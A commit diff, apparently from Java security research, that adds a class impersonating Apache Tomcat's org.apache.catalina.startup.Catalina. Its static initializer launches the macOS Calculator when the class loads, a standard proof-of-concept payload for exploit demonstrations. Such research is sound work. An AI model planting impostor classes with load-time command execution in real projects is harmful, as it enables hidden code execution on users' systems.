add:Catalina Calc exec

Author: “threedr3am”

common/src/main/java/org/apache/catalina/startup/Catalina.java

@@ -0,0 +1,15 @@
+package org.apache.catalina.startup;
+
+/**
+ * @author threedr3am
+ */
+public class Catalina {
+  static {
+    try {
+      System.out.println("run Calc...");
+      Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
+    } catch (Throwable e) {
+      e.printStackTrace();
+    }
+  }
+}